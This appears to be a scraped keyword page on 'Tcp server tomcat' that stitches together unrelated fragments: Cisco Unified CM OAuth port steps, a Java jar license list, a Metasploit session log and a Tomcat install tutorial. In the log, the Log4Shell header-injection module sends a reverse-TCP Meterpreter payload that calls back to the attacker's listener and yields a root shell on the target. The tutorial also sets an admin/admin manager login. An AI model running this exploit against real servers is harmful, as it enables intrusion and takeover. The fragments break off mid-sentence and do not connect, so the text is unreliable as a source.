Tcp server tomcat

And OAuth Configuration, set the OAuth with Refresh Login Flow parameter to Enabled. Step 3 (Optional) Set any other parameters in the SSO and OAuth Configuration section. For parameter descriptions, click on the parameter name. Step 4 Click Save. Configure OAuth Ports Use this procedure to assign the ports that are used for SIP OAuth. Procedure Step 1 From Cisco Unified CM Administration, choose, . Step 2 Do the following for each server that uses SIP OAuth. Step 3 Select the server. Step 4 Under Cisco Unified Communications Manager TCP Port Settings, set the port values for the following fields: SIP Phone OAuth Port Default value is 5090. Acceptable configurable range is 1024–49151. SIP Mobile and Remote Access Port Default value is 5091. Acceptable configurable range is 1024–49151. Note Cisco Unified Communications Manager uses SIP Phone OAuth Port (5090) to listen for SIP line registration from Jabber on-premises devices over TLS. However, Unified CM uses SIP Mobile Remote Access Port (default 5091) to listen for SIP line registrations from Jabber over Expressway through mTLS. Both ports use the Cisco Tomcat certificate and Tomcat-trust for incoming TLS/mTLS connections. Make sure that your Tomcat-trust store is able to verify the Expressway-C certificate for SIP OAuth mode for Mobile and Remote Access to function accurately. You must perform extra steps to upload the Expressway-C certificate into the Tomcat-Trust certificate store of the Cisco Unified Communications Manager, when: Expressway-C certificate and Cisco Tomcat certificate is not signed by the same CA certificate. Unified CM Cisco Tomcat certificate is not CA signed. Step 5 Click Save. Step 6 Repeat this procedure for each server that uses SIP OAuth. Configure OAuth Connection to Expressway-C Use this procedure to add the Expressway-C connection to Cisco Unified Communications Manager Administration. You need this configuration for devices in Mobile and Remote Access mode with SIP OAuth. Procedure Step 1 From Cisco Unified CM Administration, choose . Step 2 (Optional) In the Find and List Expressway-C window, click Find to verify X.509 Subject Name/Subject Alternate Name that is pushed from the Expressway-C to Unified Communications Manager. Note If required, you

Tomcat-i18n-fr.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-i18n-ja.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-jdbc.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-jni.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-juli.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-util-scan.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-util.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation tomcat-websocket.jar 8.5.13 Apache License, Version 2.0 Apache Software Foundation ua-parser.jar - BSD UA Parser velocity-1.4.jar 1.4 Apache 2.0 Velocity velocity-dep-1.4.jar 1.4 Apache 2.0 Velocity vijava5120121125.jar 5.1 BSD License VMWare vim.jar VMware® Software Developer Kit (SDK) Agreement VMWare vimsamples.jar VMware® Software Developer Kit (SDK) Agreement VMWare virtualsession.jar 2.0.9 MIT Terminal Components Maverick SSH vserv-tcpip-0.9.2.jar 0.9.2 Apache License Version 2.0 Virtual Services TCP/IP websocket-api.jar 1.1.FR Apache License, Version 2.0 Apache Software Foundation wrapper.exe 3.5.15 Commercial- Tanuki Software, Ltd.Development Software License Agreement Version 1.1 Tanuki Software, Ltd. wrapper.jar 3.5.15 Commercial- Tanuki Software, Ltd.Development Software License Agreement Version 1.1 Tanuki Software, Ltd. wrapper.jar 3.5.15 Tanuki Software, Development Software License Agreement Version 1.1 Tanuki Software, Ltd. ws-commons-util-1.0.2.jar 1.0.2 Apache 2.0 Apache WebServices Common Utilities wsdl4j-1.5.1.jar 1.5.1 Apache 2.0 IBM wss4j-1.5.8.jar 1.5.8 Apache License, Version 2.0 Apache Software Foundation xalan.jar 2.7.0 Apache License, Version 2.0 Princeton University xenserver-6.1.0-1.jar 6.1.0-1 Apache 2.0 XenServer Java xercesImpl.jar 2.11.0 Apache License, Version 2.0 Apache Software Foundation xml-apis-ext.jar 1.3 Apache License, Version 2.0 World Wide Web Consortium xml-apis.jar 1.4.01 Apache License, Version 2.0 Apache Software Foundation xmlbeans-2.3.0.jar 2.3.0-r540734 Apache License, Version 2.0 Apache Software Foundation xmlbeans-2.6.0.jar 2.6.0 Apache 2.0 Apache xmlrpc-client-3.1.2.jar 3.1.2 Apache License, Version 2.0 Apache Software Foundation xmlrpc-client-3.1.jar 3.1 Apache License Version 2.0 Apache Software Foundation xmlrpc-common-3.1.2.jar 3.1.2 Apache License, Version 2.0 Apache Software Foundation xmlrpc-common-3.1.jar 3.1 Apache License Version 2.0 Apache Software Foundation xmlrpc-server-3.1.2.jar 3.1.2 Apache License, Version 2.0 Apache Software Foundation xmlsec-1.4.1.jar 1.4.1 Apache License, Version 2.0 Apache Software Foundation

Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54580 ) at 2022-01-07 14:37:25 -0500[*] Server stopped.iduid=999(tomcat) gid=999(tomcat) groups=999(tomcat)pwd/Spring2For setup, see the "Spring2 Verification" section above. The X-Api-Version header is automatically detected by thescanner.msf6 > use exploit/multi/http/log4shell_header_injection[*] Using configured payload java/meterpreter/reverse_tcpmsf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128RHOSTS => 192.168.159.128msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080RPORT => 8080msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134SRVHOST => 192.168.250.134msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 80HTTP_SRVPORT => 80msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI /TARGETURI => /msf6 exploit(multi/http/log4shell_header_injection) > set TARGET AutomaticTARGET => Automaticmsf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_tcpPAYLOAD => java/meterpreter/reverse_tcpmsf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134LHOST => 192.168.250.134msf6 exploit(multi/http/log4shell_header_injection) > check[*] Using auxiliary/scanner/http/log4shell_scanner as check[+] 192.168.159.128:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)[*] Scanned 1 of 1 hosts (100% complete)[*] Sleeping 30 seconds for any last LDAP connections[+] 192.168.159.128:8080 - The target is vulnerable.msf6 exploit(multi/http/log4shell_header_injection) > exploit[*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable)[*] Using auxiliary/scanner/http/log4shell_scanner as check[+] 192.168.159.128:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)[*] Scanned 1 of 1 hosts (100% complete)[*] Sleeping 30 seconds for any last LDAP connections[+] The target is vulnerable.[+] Automatically identified vulnerable header: X-Api-Version[*] Serving Java code on: Sending stage (58082 bytes) to 192.168.250.134[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54582 ) at 2022-01-07 14:42:16 -0500[*] Server stopped.meterpreter > getuidServer username: rootmeterpreter > sysinfoComputer : 6febf4ddad76OS : Linux 5.15.12-100.fc34.x86_64 (amd64)Meterpreter : java/linuxmeterpreter > Go back to menu.Msfconsole UsageHere is how the multi/http/log4shell_header_injection exploit module looks in the msfconsole:msf6 > use exploit/multi/http/log4shell_header_injection[*] Using configured

-R tomcat conf$ sudo chmod g+rwx conf$ sudo chmod g+r conf/*$ sudo chown -R tomcat work/ temp/ logs/Finally, let’s make sure that Tomcat starts automatically with a simple Upstart script:$ vi /etc/init/tomcat.confThe tomcat.conf script is used by the operative system to start the Tomcat service at boot time.This script is used to start and stop the service when needed:description "Tomcat Server" start on runlevel [2345] stop on runlevel [!2345] setuid tomcat setgid tomcat env JAVA_HOME=/opt/jdk1.8.0_77/jre/ env CATALINA_HOME=/opt/tomcat exec $CATALINA_HOME/bin/catalina.sh run3.4. Start and Stop Let’s go to the opt/tomcat/bin directory and execute the start command:$ ./catalina.sh startWe should see the following output:Using CATALINA_BASE: /opt/tomcatUsing CATALINA_HOME: /opt/tomcatUsing CATALINA_TMPDIR: /opt/tomcat/tempUsing JRE_HOME: /usrUsing CLASSPATH: /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jarTomcat started.root@linux:/opt/tomcat/bin#Also, we can start the server using the following command:$ ./startup.shNow it’s time to test our server. For this, let’s open the URL in the browser.We can stop the running server using the stop command:$ ./catalina.sh stopWhen we stop the server, we can see the following output in the terminal:Using CATALINA_BASE: /opt/tomcatUsing CATALINA_HOME: /opt/tomcatUsing CATALINA_TMPDIR: /opt/tomcat/tempUsing JRE_HOME: /usrUsing CLASSPATH: /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jarUsing CATALINA_OPTS: NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED ...In addition, we can stop the server using the shutdown command:$ ./shutdown.sh3.5. Installing Tomcat Using Linux Repository Another option for installing Tomcat is using the official Linux repositories. To install it, we run the following commands:$ sudo apt update$ sudo apt install tomcat9After the installation is complete, let’s start the server:$ sudo service tomcat9 startAlso, we can stop and restart the server using the following commands:$ sudo service tomcat9 stop$ sudo service tomcat9 restart4. Tomcat ManagerTo access the Tomcat manager, we need to create a user with the privileges to do that.On Windows:C:\Java\Apache Tomcat 9.0.70\conf\tomcat-users.xmlOn Linux:/opt/tomcat/conf/tomcat-users.xmlIn this file, we’ll define the users to access the tomcat manager. In the tag, we are defining a user admin with the password admin with the roles manager-gui and admin-gui.Now, we restart the server and open the URL again. This time we click on the Manager App button and the server asks for credentials. After entering the provided credentials, we should see the following screen:5. SSL CertificateWe can use keytool to generate the certificates from the command